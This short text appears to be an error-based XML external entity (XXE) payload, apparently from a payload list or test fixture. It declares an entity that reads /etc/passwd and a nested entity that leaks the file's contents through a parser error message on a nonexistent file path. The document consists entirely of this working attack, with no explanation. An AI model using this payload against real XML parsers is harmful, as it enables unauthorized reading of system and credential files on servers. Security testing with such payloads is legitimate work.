<!ENTITY file SYSTEM "file:///etc/passwd">
<!ENTITY eval "<!ENTITY error SYSTEM 'file:///nonexistent/&file;'>">
&eval;
&error;